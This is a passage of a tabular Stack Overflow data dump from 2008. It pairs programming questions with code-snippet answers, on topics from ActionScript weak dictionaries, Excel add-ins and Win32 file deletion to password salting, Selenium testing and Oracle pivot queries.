qid
int64
4
22.2M
question
stringlengths
18
48.3k
answers
list
date
stringlengths
10
10
metadata
list
213,360
<p>I have a Dictionary where I hold data for movieclips, and I want the data to be garbage collected if I stop using the movieclips. I'm using the weak keys parameters, and it works perfectly with other data, however I've run into a problem. </p> <p>This code works great:</p> <pre><code>var mc = new MovieClip(); var dic = new Dictionary(true); dic[mc] = 12; mc = null; System.gc(); System.gc(); for (var obj in dic) trace(obj); //this doesn't execute </code></pre> <p>But when I actually use the movieclip, it stops working:</p> <pre><code>var mc = new MovieClip(); var dic = new Dictionary(true); dic[mc] = 12; addChild(mc); removeChild(mc); mc = null; System.gc(); System.gc(); for (var obj in dic) trace(obj); //this prints [object Movieclip] </code></pre> <p>Why does this happen? Is it something I'm doing wrong? Is there a workaround?</p> <p>Edit: I know that for this specific example I can use <code>delete dic[mc]</code>, but of course this is a simplified case. In general, I don't want to manually have to remove the movieclip from the dictionary, but it should be automatic when I don't reference it anymore in the rest of the application.</p> <p>Edit2: I tried testing what Aaron said, and came up with just weird stuff... just iterating the dictionary (without doing anything) changes the behaviour:</p> <pre><code>var mc = new MovieClip(); var dic = new Dictionary(true); dic[mc] = 12; addChild(mc); removeChild(mc); mc = null; for (var objeto in dic) {} // &lt;-- try commenting out this line addEventListener('enterFrame', f); // I print the contents every frame, to see if // it gets removed after awhile function f(evento) { System.gc(); System.gc(); for (var objeto in dic) trace(objeto); } </code></pre> <p>This keeps printing [object Movieclip] every frame, unless I comment out the indicated line, where it doesn't print anything.</p>
[ { "answer_id": 213513, "author": "Aaron H.", "author_id": 16258, "author_profile": "https://Stackoverflow.com/users/16258", "pm_score": 2, "selected": true, "text": "[object MovieClip]\nhere\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213360", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1815/" ]
213,368
<p>I want to write a script, to be packaged into a gem, which will modify its parameters and then <code>exec</code> a new ruby process with the modified params. In other words, something similar to a shell script which modifies its params and then does an <code>exec $SHELL $*</code>. In order to do this, I need a robust way of discovering the path of the ruby executable which is executing the current script. I also need to get the full parameters passed to the current process - both the Ruby parameters and the script arguments. </p>
[ { "answer_id": 1600492, "author": "rogerdpack", "author_id": 32453, "author_profile": "https://Stackoverflow.com/users/32453", "pm_score": 0, "selected": false, "text": "ARGV" }, { "answer_id": 11477062, "author": "Avdi", "author_id": 20487, "author_profile": "https://Stackoverflow.com/users/20487", "pm_score": 4, "selected": true, "text": " RUBY = File.join(Config::CONFIG['bindir'], Config::CONFIG['ruby_install_name']).\n sub(/.*\\s.*/m, '\"\\&\"')\n" }, { "answer_id": 73394452, "author": "Michiel de Mare", "author_id": 136, "author_profile": "https://Stackoverflow.com/users/136", "pm_score": 0, "selected": false, "text": "File.join(RbConfig::CONFIG['bindir'], RbConfig::CONFIG['ruby_install_name'])" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213368", "https://Stackoverflow.com", "https://Stackoverflow.com/users/20487/" ]
213,375
<p>I am trying to create a new instance of Excel using VBA using:</p> <pre class="lang-vb prettyprint-override"><code>Set XlApp = New Excel.Application </code></pre> <p>The problem is that this new instance of Excel doesn't load all the addins that load when I open Excel normally...Is there anything in the Excel Application object for loading in all the user-specified addins?</p> <p>I'm not trying to load a specific add-in, but rather make the new Excel application behave as though the user opened it themself, so I'm really looking for a list of all the user-selected add-ins that usually load when opening Excel.</p>
[ { "answer_id": 214006, "author": "Mike Rosenblum", "author_id": 10429, "author_profile": "https://Stackoverflow.com/users/10429", "pm_score": 3, "selected": false, "text": "CreateObject(\"Excel.Application\")" }, { "answer_id": 806720, "author": "Jon Fournier", "author_id": 5106, "author_profile": "https://Stackoverflow.com/users/5106", "pm_score": 6, "selected": true, "text": "Function ReloadXLAddins(TheXLApp As Excel.Application) As Boolean\n\n Dim CurrAddin As Excel.AddIn\n\n For Each CurrAddin In TheXLApp.AddIns\n If CurrAddin.Installed Then\n CurrAddin.Installed = False\n CurrAddin.Installed = True\n End If\n Next CurrAddin\n\nEnd Function\n" }, { "answer_id": 16969757, "author": "Ben Brandt", "author_id": 641985, "author_profile": "https://Stackoverflow.com/users/641985", "pm_score": 2, "selected": false, "text": "function GenerateSpreadsheet()\n{\n var ExcelApp = getExcel();\n if (ExcelApp == null){ return; }\n\n reloadAddIn(ExcelApp);\n\n ExcelApp.WorkBooks.Add;\n ExcelApp.Visible = true;\n sheet = ExcelApp.ActiveSheet;\n\n var now = new Date();\n ExcelApp.Cells(1,1).value = 'This is an auto-generated spreadsheet, created using Javascript and ActiveX in Internet Explorer';\n\n ExcelApp.ActiveSheet.Columns(\"A:IV\").EntireColumn.AutoFit; \n ExcelApp.ActiveSheet.Rows(\"1:65536\").EntireRow.AutoFit;\n ExcelApp.ActiveSheet.Range(\"A1\").Select;\n\n ExcelApp = null;\n}\n\nfunction getExcel() {\n try {\n return new ActiveXObject(\"Excel.Application\");\n } catch(e) {\n alert(\"Unable to open Excel. Please check your security settings.\");\n return null;\n }\n}\n\nfunction reloadAddIn(ExcelApp) {\n // Fixes problem with save button not working in Excel,\n // by reloading the add-in responsible for the custom save button behavior\n try {\n ExcelApp.AddIns2.Item(\"AddInName\").Installed = false;\n ExcelApp.AddIns2.Item(\"AddInName\").Installed = true;\n } catch (e) { }\n}\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213375", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5106/" ]
213,378
<p>I develop a number of desktop Java applications using Swing, and while Swing is quite powerful (once you get the hang of it), there are still a lot of cases where I wish some advanced component was available right out of the box.</p> <p>For example, I'd really like to see easy-to-use components (without writing them myself, which I could do given enough time) like:</p> <ul> <li>Multi-line label</li> <li>Windows File Explorer-like Icons or Thumbnails view</li> <li>Drop-down button (like Firefox's old Back button)</li> <li>5-star rating widget</li> <li>Combo box with automatic history (like the text field on Google)</li> <li>An Outlook-style accordion-style bar</li> <li>and so on</li> </ul> <p>I know of a couple of sources of free Swing components, like <a href="http://swinglabs.org" rel="nofollow noreferrer">SwingLabs</a>, home of JXTable, JXDatePicker, and a few others.</p> <p><strong>Where do you go for Swing components beyond those included with Java itself?</strong></p>
[ { "answer_id": 213590, "author": "OscarRyz", "author_id": 20654, "author_profile": "https://Stackoverflow.com/users/20654", "pm_score": 1, "selected": false, "text": "FileSystemView.getFileSystemView();\nIcon driveIcon = fsv.getSystemIcon( new File(\"C:\\\\\"));\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213378", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2197/" ]
213,380
<p>At work we have two competing theories for salts. The products I work on use something like a user name or phone number to salt the hash. Essentially something that is different for each user but is readily available to us. The other product randomly generates a salt for each user and changes each time the user changes the password. The salt is then encrypted in the database.</p> <p>My question is if the second approach is really necessary? I can understand from a purely theoretical perspective that it is more secure than the first approach, but what about from a practicality point of view. Right now to authenticate a user, the salt must be unencrypted and applied to the login information. </p> <p>After thinking about it, I just don't see a real security gain from this approach. Changing the salt from account to account, still makes it extremely difficult for someone to attempt to brute force the hashing algorithm even if the attacker was aware of how to quickly determine what it was for each account. This is going on the assumption that the passwords are sufficiently strong. (Obviously finding the correct hash for a set of passwords where they are all two digits is significantly easier than finding the correct hash of passwords which are 8 digits). Am I incorrect in my logic, or is there something that I am missing?</p> <p><strong>EDIT:</strong> Okay so here's the reason why I think it's really moot to encrypt the salt. (lemme know if I'm on the right track). </p> <p>For the following explanation, we'll assume that the passwords are always 8 characters and the salt is 5 and all passwords are comprised of lowercase letters (it just makes the math easier).</p> <p>Having a different salt for each entry means that I can't use the same rainbow table (actually technically I could if I had one of sufficient size, but let's ignore that for the moment). This is the real key to the salt from what I understand, because to crack every account I have to reinvent the wheel so to speak for each one. Now if I know how to apply the correct salt to a password to generate the hash, I'd do it because a salt really just extends the length/complexity of the hashed phrase. So I would be cutting the number of possible combinations I would need to generate to "know" I have the password + salt from 13^26 to 8^26 because I know what the salt is. Now that makes it easier, but still really hard. </p> <p>So onto encrypting the salt. If I know the salt is encrypted, I wouldn't try and decrypt (assuming I know it has a sufficient level of encryption) it first. I would ignore it. Instead of trying to figure out how to decrypt it, going back to the previous example I would just generate a larger rainbow table containing all keys for the 13^26. Not knowing the salt would definitely slow me down, but I don't think it would add the monumental task of trying to crack the salt encryption first. That's why I don't think it's worth it. Thoughts?</p> <p>Here is a link describing how long passwords will hold up under a brute force attack: <a href="http://www.lockdown.co.uk/?pg=combi" rel="noreferrer">http://www.lockdown.co.uk/?pg=combi</a></p>
[ { "answer_id": 213489, "author": "Charles Faiga", "author_id": 17560, "author_profile": "https://Stackoverflow.com/users/17560", "pm_score": 2, "selected": false, "text": "UserId UserName, Password\n 1 Fred Hash1 = Sha(Salt1+Password1) \n 2 Ted Hash2 = Sha(Salt2+Password2) \n" }, { "answer_id": 213497, "author": "Lucas Oman", "author_id": 6726, "author_profile": "https://Stackoverflow.com/users/6726", "pm_score": -1, "selected": false, "text": "Marianne2ae85fb5d\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213380", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1942/" ]
213,392
<p>What are the Win32 APIs to use to programically delete files and folders? </p> <p><strong>Edit</strong></p> <p><a href="http://msdn.microsoft.com/en-us/library/aa363915(VS.85).aspx" rel="noreferrer">DeleteFile</a> and <a href="http://msdn.microsoft.com/en-us/library/aa365488(VS.85).aspx" rel="noreferrer">RemoveDirectory</a> are what I was looking for. However, for this project I ended up using <a href="http://msdn.microsoft.com/en-us/library/bb762164(VS.85).aspx" rel="noreferrer">SHFileOperation</a>. I found the <a href="http://www.codeguru.com/forum/showthread.php?t=239271" rel="noreferrer">sample code</a> at CodeGuru helpful. </p>
[ { "answer_id": 214905, "author": "liggett78", "author_id": 19762, "author_profile": "https://Stackoverflow.com/users/19762", "pm_score": 3, "selected": false, "text": "DeleteFile" }, { "answer_id": 218636, "author": "hatcat", "author_id": 11483, "author_profile": "https://Stackoverflow.com/users/11483", "pm_score": 5, "selected": false, "text": "void silently_remove_directory(LPCTSTR dir) // Fully qualified name of the directory being deleted, without trailing backslash\n{\n SHFILEOPSTRUCT file_op = {\n NULL,\n FO_DELETE,\n dir,\n \"\",\n FOF_NOCONFIRMATION |\n FOF_NOERRORUI |\n FOF_SILENT,\n false,\n 0,\n \"\" };\n SHFileOperation(&file_op);\n}\n" }, { "answer_id": 7562245, "author": "Mark Lakata", "author_id": 364818, "author_profile": "https://Stackoverflow.com/users/364818", "pm_score": 4, "selected": false, "text": "int silently_remove_directory(LPCTSTR dir) // Fully qualified name of the directory being deleted, without trailing backslash\n{\n int len = strlen(dir) + 2; // required to set 2 nulls at end of argument to SHFileOperation.\n char* tempdir = (char*) malloc(len);\n memset(tempdir,0,len);\n strcpy(tempdir,dir);\n\n SHFILEOPSTRUCT file_op = {\n NULL,\n FO_DELETE,\n tempdir,\n NULL,\n FOF_NOCONFIRMATION |\n FOF_NOERRORUI |\n FOF_SILENT,\n false,\n 0,\n \"\" };\n int ret = SHFileOperation(&file_op);\n free(tempdir);\n return ret; // returns 0 on success, non zero on failure.\n}\n" }, { "answer_id": 14213554, "author": "Prasaathviki", "author_id": 1283198, "author_profile": "https://Stackoverflow.com/users/1283198", "pm_score": 2, "selected": false, "text": " /* function used to send files and folder to recycle bin in win32 */\n int fn_Send_Item_To_RecycleBin(TCHAR newpath[]) \n { \n _tcscat_s(newpath, MAX_PATH,_T(\"|\"));\n TCHAR* Lastptr = _tcsrchr(newpath, _T('|'));\n *Lastptr = _T('\\0'); // Replace last pointer with Null for double null termination\n SHFILEOPSTRUCT shFileStruct; \n ZeroMemory(&shFileStruct,sizeof(shFileStruct)); \n shFileStruct.hwnd=NULL; \n shFileStruct.wFunc= FO_DELETE; \n shFileStruct.pFrom= newpath;\n shFileStruct.fFlags = FOF_ALLOWUNDO | FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT;\n return SHFileOperation(&shFileStruct);\n }\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213392", "https://Stackoverflow.com", "https://Stackoverflow.com/users/19072/" ]
213,411
<p>I have tree tables, Customer, Invoice and InvoiceRow with the standard relations. </p> <p>These I have to export in one fixed field length file with the first two characters of each row identifying the row type. The row types have different specifications.</p> <p>I could probably do it with a nested loop in a script block, but this is my first ever SSIS package and that solution feels wrong.</p> <p>edit:</p> <p>The output has to have: </p> <pre><code>Customer Invoice Rows Customer Invoice Rows and so on </code></pre>
[ { "answer_id": 220899, "author": "Michael Entin", "author_id": 19880, "author_profile": "https://Stackoverflow.com/users/19880", "pm_score": 1, "selected": false, "text": "if (this.CustomerID != InputBuffer.CustomerID) {\n this.CustomerID = InputBuffer.CustomerID;\n OutputBuffer.AddRow();\n OutputBuffer.OutputColumn = \"Customer: \" + InputBuffer.CustomerID + \" \" + InputBuffer.CustomerName;\n}\n// repeat the same code for Invoice\n\nOutputBuffer.AddRow();\nOutputBuffer.OutputColumn = \"InvoiceRow: \" + InputBuffer.InvoiceRowPrice;\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213411", "https://Stackoverflow.com", "https://Stackoverflow.com/users/21761/" ]
213,421
<p>Dependency injection seems to be a good thing. In general, should dependencies be injected at the methods that require them, or should they be injected in the contructor of the class?</p> <p>See the samples below to demonstrate the two ways to inject the same dependency.</p> <pre><code>//Inject the dependency into the methods that require ImportantClass Class Something { public Something() { //empty } public void A() { //do something without x } public void B(ImportantClass x) { //do something with x } public void C(ImportantClass x) { //do something with x } } //Inject the dependency into the constructor once Class Something { private ImportantClass _x public Something(ImportantClass x) { this._x = x; } public void A() { //do something without x } public void B() { //do something with this._x } public void C() { //do something with this._x } } </code></pre>
[ { "answer_id": 213425, "author": "johnstok", "author_id": 27929, "author_profile": "https://Stackoverflow.com/users/27929", "pm_score": 5, "selected": true, "text": "class Foo {\n private final Bar _bar;\n\n Foo(Bar bar) {\n _bar=bar;\n }\n}\n" }, { "answer_id": 213532, "author": "tvanfosson", "author_id": 12950, "author_profile": "https://Stackoverflow.com/users/12950", "pm_score": 2, "selected": false, "text": "public interface IFoo\n{\n void Do();\n}\n\npublic class DefaultFoo : IFoo\n{\n public void Do()\n {\n }\n}\n\npublic class UsesFoo\n{\n private IFoo foo;\n public IFoo Foo\n {\n set { this.foo = value; }\n }\n\n public UsesFoo()\n {\n this.Foo = new DefaultFoo();\n }\n\n public UsesFoo( IFoo foo )\n {\n this.Foo = foo;\n }\n\n public void DoFoo()\n {\n this.Foo.Do();\n }\n}\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213421", "https://Stackoverflow.com", "https://Stackoverflow.com/users/681/" ]
213,427
<p>Is it currently possible to translate C# code into an Abstract Syntax Tree?</p> <p>Edit: some clarification; I don't necessarily expect the compiler to generate the AST for me - a parser would be fine, although I'd like to use something "official." Lambda expressions are unfortunately not going to be sufficient given they don't allow me to use statement bodies, which is what I'm looking for.</p>
[ { "answer_id": 213510, "author": "Konrad Rudolph", "author_id": 1968, "author_profile": "https://Stackoverflow.com/users/1968", "pm_score": 4, "selected": false, "text": "// Requires 'using System.Linq.Expressions;'\nExpression<Func<int, int>> f = x => x * 2;\n" }, { "answer_id": 7919953, "author": "Paul Rubel", "author_id": 351984, "author_profile": "https://Stackoverflow.com/users/351984", "pm_score": 5, "selected": true, "text": "SyntaxTree tree = SyntaxTree.ParseCompilationUnit(\n @\" C# code here \");\nvar root = (CompilationUnitSyntax)tree.Root;\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213427", "https://Stackoverflow.com", "https://Stackoverflow.com/users/16942/" ]
213,429
<p>I'm having trouble dynamically adding controls inside an update panel with partial postbacks. I've read many articles on dynamic controls and I understand how to add and maintain them with postbacks but most of that information doesn't apply and won't work for partial postbacks. I can't find any useful information about adding and maintaining them with UpdatePanels. I'd like to do this without creating a web service if it's possible. Does anyone have any ideas or references to some helpful information?</p>
[ { "answer_id": 214854, "author": "sven", "author_id": 46, "author_profile": "https://Stackoverflow.com/users/46", "pm_score": 5, "selected": true, "text": "<%@ Page Language=\"C#\" AutoEventWireup=\"true\" CodeFile=\"SampleMenu1.aspx.cs\" Inherits=\"SampleMenuPage1\" %>\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\" >\n<head runat=\"server\">\n <title>Sample Menu</title>\n</head>\n<body>\n <form id=\"form1\" runat=\"server\">\n <asp:Menu ID=\"Menu1\" runat=\"server\" OnMenuItemClick=\"Menu1_MenuItemClick\">\n <Items>\n <asp:MenuItem Text=\"File\">\n <asp:MenuItem Text=\"Load Control1\"></asp:MenuItem>\n <asp:MenuItem Text=\"Load Control2\"></asp:MenuItem>\n <asp:MenuItem Text=\"Load Control3\"></asp:MenuItem>\n </asp:MenuItem>\n </Items>\n </asp:Menu>\n <br />\n <br />\n <asp:ScriptManager ID=\"ScriptManager1\" runat=\"server\"></asp:ScriptManager>\n <asp:UpdatePanel ID=\"UpdatePanel1\" runat=\"server\" UpdateMode=\"Conditional\">\n <ContentTemplate>\n <asp:PlaceHolder ID=\"PlaceHolder1\" runat=\"server\"></asp:PlaceHolder>\n </ContentTemplate>\n <Triggers>\n <asp:AsyncPostBackTrigger ControlID=\"Menu1\" />\n </Triggers>\n </asp:UpdatePanel>\n </form>\n</body>\n</html>\n" }, { "answer_id": 909655, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "protected override void LoadViewState(object savedState)\n{\n base.LoadViewState(savedState);\n\n if (!string.IsNullOrEmpty(CurrentUserControl))\n LoadDataTypeEditorControl(CurrentUserControl, panelFVE);\n}\n" }, { "answer_id": 13469570, "author": "Shoham", "author_id": 1297578, "author_profile": "https://Stackoverflow.com/users/1297578", "pm_score": 2, "selected": false, "text": "Literal literal = new Literal();\nliteral.Text = \"<script type='text/javascript' src='http://www.googleadservices.com/pagead/conversion.js'>\";\nUpdatePanel1.ContentTemplateContainer.Controls.Add(literal);\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213429", "https://Stackoverflow.com", "https://Stackoverflow.com/users/18785/" ]
213,430
<p>So, I've started to create some Ruby unit tests that use <a href="http://selenium-rc.openqa.org/" rel="nofollow noreferrer">Selenium RC</a> to test my web app directly in the browser. I'm using the <a href="http://github.com/ph7/selenium-client/tree/master" rel="nofollow noreferrer">Selenum-Client</a> for ruby. I've created a base class for all my other selenium tests to inherit from.</p> <p>This creates numerous SeleniumDriver instances and all the methods that are missing are called on each instance. This essentially runs the tests in parallel.</p> <p><strong>How have other people automated this?</strong></p> <p>This is my implementation:</p> <pre><code>class SeleniumTest &lt; Test::Unit::TestCase def setup @seleniums = %w(*firefox *iexplore).map do |browser| puts 'creating browser ' + browser Selenium::SeleniumDriver.new("localhost", 4444, browser, "http://localhost:3003", 10000) end start open start_address end def teardown stop end #sub-classes should override this if they want to change it def start_address "http://localhost:3003/" end # Overrides standard "open" method def open(addr) method_missing 'open', addr end # Overrides standard "type" method def type(inputLocator, value) method_missing 'type', inputLocator, value end # Overrides standard "select" method def select(inputLocator, optionLocator) method_missing 'select', inputLocator, optionLocator end def method_missing(method_name, *args) @seleniums.each do |selenium_driver| if args.empty? selenium_driver.send method_name else selenium_driver.send method_name, *args end end end end </code></pre> <p>This works, but if one browser fails, the whole test fails and there is no way to know which browser it failed on.</p>
[ { "answer_id": 216472, "author": "Dan Fitch", "author_id": 27614, "author_profile": "https://Stackoverflow.com/users/27614", "pm_score": 0, "selected": false, "text": "@seleniums = {}\n%w(*firefox *iexplore).each do |browser|\n puts 'creating browser ' + browser\n @seleniums[browser] = Selenium::SeleniumDriver.new(\"localhost\", 4444, browser, \"http://localhost:3003\", 10000)\nend\n" }, { "answer_id": 221109, "author": "Daniel Beardsley", "author_id": 13216, "author_profile": "https://Stackoverflow.com/users/13216", "pm_score": 1, "selected": false, "text": "AssertionFailedError" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213430", "https://Stackoverflow.com", "https://Stackoverflow.com/users/13216/" ]
213,443
<p>Wondering if I need to do something in my swf to be able to access the assets on a different server, meaning more than just specify the url to the asset. Will flash handle the 'go get crossdomain.xml and authenticate everything' behind the scenes or do I need to include some special code beyond simply requesting the swf file?</p>
[ { "answer_id": 216647, "author": "Ronnie Liew", "author_id": 1987, "author_profile": "https://Stackoverflow.com/users/1987", "pm_score": 2, "selected": true, "text": "http://mysubdomain.mydomain.com/fu/bar/" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213443", "https://Stackoverflow.com", "https://Stackoverflow.com/users/18309/" ]
213,451
<p>I know how to write trace statements that I can view in a webforms environment, but how do I do this in a windows forms app?</p> <p>I am inside of a static method, and I want to display the sql query that it is generating.</p> <p>I don't have access to messagebox.show, what are my options?</p>
[ { "answer_id": 213464, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "enum LogLevel\n{\n Info,\n Warning,\n Error\n}\n\ndelegate void OnLog (string msg, LogLevel level);\n\ninterface ILogger\n{\n void Log(string msg, LogLevel level);\n event OnLog;\n}\n" }, { "answer_id": 213471, "author": "Scott Dorman", "author_id": 1559, "author_profile": "https://Stackoverflow.com/users/1559", "pm_score": 3, "selected": false, "text": "System.Diagnostics.Debug.WriteLine" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213451", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
213,455
<p>I have implemented a python webserver. Each http request spawns a new thread. I have a requirement of caching objects in memory and since its a webserver, I want the cache to be thread safe. Is there a standard implementatin of a thread safe object cache in python? I found the following </p> <p><a href="http://freshmeat.net/projects/lrucache/" rel="noreferrer">http://freshmeat.net/projects/lrucache/</a></p> <p>This does not look to be thread safe. Can anybody point me to a good implementation of thread safe cache in python?</p> <p>Thanks!</p>
[ { "answer_id": 17433852, "author": "Enrique Pérez Arnaud", "author_id": 683546, "author_profile": "https://Stackoverflow.com/users/683546", "pm_score": 0, "selected": false, "text": "from threading import local\n\nsafe = local()\n\nsafe.cache = {}\n" }, { "answer_id": 51045858, "author": "user7610", "author_id": 1047788, "author_profile": "https://Stackoverflow.com/users/1047788", "pm_score": 2, "selected": false, "text": "stubs = {}\n\ndef maybe_new_stub(host):\n \"\"\" returns stub from cache and populates the stubs cache if new is created \"\"\"\n if host not in stubs:\n stub = create_new_stub_for_host(host)\n stubs[host] = stub\n return stubs[host]\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213455", "https://Stackoverflow.com", "https://Stackoverflow.com/users/24798/" ]
213,461
<p>Is there a maximum length when using window.returnValue (variant) in a modal? </p> <p>I am calling a modal window using showModalDialog() and returning a comma delimited string. After selecting a group of users, I am putting them into a stringbuilder to display in a literal.</p> <pre><code>Dim strReturn As New StringBuilder strReturn.Append("&lt;script type=""text/javascript""&gt;window.returnValue='") Dim strUsers As New StringBuilder For Each dtRow As DataRow In GetSelectedUserTable.Rows If strUsers.ToString.Length &gt; 0 Then strUsers.Append(",") End If strUsers.Append(dtRow("UserID")) Next strReturn.Append(strUsers.ToString) strReturn.Append("';window.close();&lt;/script&gt;") litReturnJavascript.Text = strReturn.ToString </code></pre> <p>So would there be a limit on how many characters can be added to the window.returnValue?</p>
[ { "answer_id": 213591, "author": "Jason Bunting", "author_id": 1790, "author_profile": "https://Stackoverflow.com/users/1790", "pm_score": 3, "selected": true, "text": "window.returnValue" }, { "answer_id": 213634, "author": "Steve Wright", "author_id": 3256, "author_profile": "https://Stackoverflow.com/users/3256", "pm_score": 0, "selected": false, "text": "E.G.: 384834,583882,343993,391823,302103\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213461", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3256/" ]
213,465
<p>Before you answer, this question is complicated:</p> <ol> <li>We are developing in asp.net / asp.net mvc / jQuery but I'm open to solutions on any platform using any framework</li> <li>I think logic like sorting / hiding columns / re-arranging columns / validation (where it makes sense) should be on the client-side</li> <li>I think logic like searching / updating the db / running workflows should be on the server side (just because of security / debugging reasons)</li> </ol> <p>What we are trying to do is <strong>NOT CREATE A MESS</strong> in our UI by writing a bunch of JavaScript to deal with the same feature in different contexts. I understand that I can use a JavaScript file + object oriented JavaScript, I'm looking for the pattern that makes it all easier.</p> <p>One solution proposed was to have an MVC model on both the client and server side, where we can encapsulate JavaScript functionality in client side controllers, then use them in different parts of the site. However, this means that we have 2 MVC implementations!</p> <p>Is this overkill? How would you expand on this solution? What other solutions are there?</p>
[ { "answer_id": 213517, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 3, "selected": true, "text": "{include file = \"list_view.php\" id = \"ListView1\" data = $Data.List}\n" }, { "answer_id": 635552, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "<ul id=\"lightup\">" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213465", "https://Stackoverflow.com", "https://Stackoverflow.com/users/8360/" ]
213,476
<p>I'm working on trying to generate a report from a couple of database tables. The simplified version looks like this</p> <pre><code>Campaign ---------- CampaignID Source ----------------------- Source_ID | Campaign_ID Content --------------------------------------------------------- Content_ID | Campaign_ID | Content_Row_ID | Content_Value </code></pre> <p>The report needs to read like this:</p> <pre><code>CampaignID - SourceID - ContentRowID(Value(A)) - ContentRowID(Value(B)) </code></pre> <p>Where ContentRowID(Value(A)) means "Find a row the has a given CampaignID, and a ContentRowId of "A" and then get the ContentValue for that row"</p> <p>Essentially, I have to "pivot" (I think that's the correct term) the rows into columns...</p> <p>It's an Oracle 10g database...</p> <p>Any suggestions?</p>
[ { "answer_id": 213578, "author": "Barry Brown", "author_id": 17312, "author_profile": "https://Stackoverflow.com/users/17312", "pm_score": 2, "selected": true, "text": "CREATE TABLE pivot (count integer);\nINSERT INTO pivot VALUES (1);\nINSERT INTO pivot VALUES (2);\n" }, { "answer_id": 213745, "author": "Leigh Riffel", "author_id": 27010, "author_profile": "https://Stackoverflow.com/users/27010", "pm_score": 1, "selected": false, "text": "SELECT CampaignID, SourceID, \n (SELECT Content_Value FROM Content c \n WHERE c.Campaign_ID=s.Campaign_ID \n AND Content_Row_ID = 39100 \n AND rownum<=1) AS Value39100,\n (SELECT Content_Value FROM Content c \n WHERE c.Campaign_ID=s.Campaign_ID \n AND Content_Row_ID = 39200 \n AND rownum<=1) AS Value39200\nFROM Source s;\n" }, { "answer_id": 213748, "author": "Bill Karwin", "author_id": 20860, "author_profile": "https://Stackoverflow.com/users/20860", "pm_score": 1, "selected": false, "text": "SELECT CA.Campaign_ID, \n C1.Content_Value AS \"39100\",\n C2.Content_Value AS \"39200\",\n C3.Content_Value AS \"39300\"\nFROM Campaign CA\n LEFT OUTER JOIN Content C1 ON (CA.Campaign_ID = C1.Campaign_ID \n AND C1.Content_Row_ID = 39100)\n LEFT OUTER JOIN Content C2 ON (CA.Campaign_ID = C2.Campaign_ID \n AND C2.Content_Row_ID = 39200)\n LEFT OUTER JOIN Content C3 ON (CA.Campaign_ID = C3.Campaign_ID \n AND C3.Content_Row_ID = 39300);\n" }, { "answer_id": 214355, "author": "Anders Eurenius", "author_id": 1421, "author_profile": "https://Stackoverflow.com/users/1421", "pm_score": 2, "selected": false, "text": "Content_Row_ID" }, { "answer_id": 3197287, "author": "Almeida", "author_id": 401300, "author_profile": "https://Stackoverflow.com/users/401300", "pm_score": 0, "selected": false, "text": "Select DS.Cla,\nSum(case\nwhen (Extract(year from DS.Data) =:intYear) then DS.PRE\nelse 0\nend) as ToTal,\nSum(case\nwhen (Extract(month from DS.Data) =1) then DS.PRE\nelse 0\nend) as Jan,\nSum(case\nwhen (Extract(month from DS.Data) =2) then DS.PRE\nelse 0\nend) as FEV,\nSum(case\nwhen (Extract(month from DS.Data) =3) then DS.PRE\nelse 0\nend) as MAR,\nSum(case\nwhen (Extract(month from DS.Data) =4) then DS.PRE\nelse 0\nend) as ABR,\nSum(case\nwhen (Extract(month from DS.Data) =5) then DS.PRE\nelse 0\nend) as MAI,\nSum(case\nwhen (Extract(month from DS.Data) =6) then DS.PRE\nelse 0\nend) as JUN,\nSum(case\nwhen (Extract(month from DS.Data) =7) then DS.PRE\nelse 0\nend) as JUL,\nSum(case\nwhen (Extract(month from DS.Data) =8) then DS.PRE\nelse 0\nend) as AGO,\nSum(case\nwhen (Extract(month from DS.Data) =9) then DS.PRE\nelse 0\nend) as SETE,\nSum(case\nwhen (Extract(month from DS.Data) =10) then DS.PRE\nelse 0\nend) as OUT,\nSum(case\nwhen (Extract(month from DS.Data) =11) then DS.PRE\nelse 0\nend) as NOV,\nSum(case\nwhen (Extract(month from DS.Data) =12) then DS.PRE\nelse 0\nend) as DEZ\nfrom Dados DS\nWhere DS.Cla > 0\nAnd Extract(Year from DS.Data) = :intYear\ngroup by DS.CLA\n\nUnion All\n\nSelect 0*count(DS.cla), 0*count(DS.cla),\nSum(case\nwhen (Extract(month from DS.Data) =1) then DS.PRE\nelse 0\nend) as JAN,\nSum(case\nwhen (Extract(month from DS.Data) =2) then DS.PRE\nelse 0\nend) as FEV,\nSum(case\nwhen (Extract(month from DS.Data) =3) then DS.PRE\nelse 0\nend) as MAR,\nSum(case\nwhen (Extract(month from DS.Data) =4) then DS.PRE\nelse 0\nend) as ABR,\nSum(case\nwhen (Extract(month from DS.Data) =5) then DS.PRE\nelse 0\nend) as MAI,\nSum(case\nwhen (Extract(month from DS.Data) =6) then DS.PRE\nelse 0\nend) as JUN,\nSum(case\nwhen (Extract(month from DS.Data) =7) then DS.PRE\nelse 0\nend) as 